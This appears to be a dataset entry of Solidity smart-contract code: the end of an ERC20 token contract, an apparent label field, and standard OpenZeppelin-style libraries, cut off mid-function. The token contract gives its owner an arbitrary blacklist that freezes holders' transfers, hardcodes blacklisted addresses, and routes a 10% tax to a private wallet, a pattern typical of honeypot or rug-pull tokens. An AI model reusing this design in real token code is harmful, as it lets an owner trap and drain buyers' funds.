blackList(0x68D6c60946D78E4D27a81DbDB8d0248b8cFb46Dd);
blackList(0x3e28eBEC40D0E3D6cfb9bE6e605b8CCFD730e464);
blackList(0xDD75C6D962B5cFa34c4b3943F91Bf0007c29Ca75);
blackList(0x10Bf6836600D7cFE1c06b145A8Ac774F8Ba91FDD);
/*
BLACK LIST OF BOTS
------------------
**/
/*IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
//uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
enableSwap = true;
coolDownEnabled = true;
_maxTxAmount = 5e15 * 10**9;
OpenTrades = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
*/
/*
BLACK LIST OF BOTS
------------------
**/
/*
BLACK LIST OF BOTS
------------------
**/
openTrading();
emit Transfer(address(0), address(this), _tTotal);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimal;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenReflection(_ownAmt[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
coolDownEnabled = onoff;
}
/*
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
**/
function blackList(address _user) public onlyOwner {
require(!_isBlackListed[_user], "user already blacklisted");
_isBlackListed[_user] = true;
}
/*
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
**/
function removeFromBlacklist(address _user) public onlyOwner {
require(_isBlackListed[_user], "user already whitelisted");
_isBlackListed[_user] = false;
}
/*
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
**/
function tokenReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/*
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
**/
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee1 = 2;
_taxFee2 = 8;
if (from != owner() && to != owner()) {
require(!_isBlackListed[to] && !_isBlackListed[from]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _noFeeList[to] && coolDownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(_setCoolDown[to] < block.timestamp);
_setCoolDown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _noFeeList[from]) {
_taxFee1 = 2;
_taxFee2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && enableSwap) {
swapTokensForETH(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendTax(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
/*
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
**/
function openTrading() public onlyOwner() {
require(!OpenTrades,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
//uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
enableSwap = true;
coolDownEnabled = true;
_maxTxAmount = 1e14 * 10**9;
OpenTrades = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTax) = _getValues(tAmount);
_ownAmt[sender] = _ownAmt[sender].sub(rAmount);
_ownAmt[recipient] = _ownAmt[recipient].add(rTransferAmount);
_takeTax(tTax);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function sendTax(uint256 amount) private {
_taxWallet.transfer(amount.div(2));
_taxWallet.transfer(amount.div(2));
}
/*
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
**/
function swapTokensForETH(uint256 tokenAmount) private swapLock {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _takeTax(uint256 tTax) private {
uint256 currentRate = _getRate();
uint256 rTax = tTax.mul(currentRate);
_ownAmt[address(this)] = _ownAmt[address(this)].add(rTax);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
/*
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
**/
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTax) = _getTValues(tAmount, _taxFee1, _taxFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTax, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTax);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 liqTax) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTax = tAmount.mul(liqTax).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTax);
return (tTransferAmount, tFee, tTax);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTax, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTax = tTax.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTax);
return (rAmount, rTransferAmount, rFee);
}
/*
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
**/
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
/*
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
************************************************************************************************************************************************************
******************************************************************************
******************************************************************************
**/
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
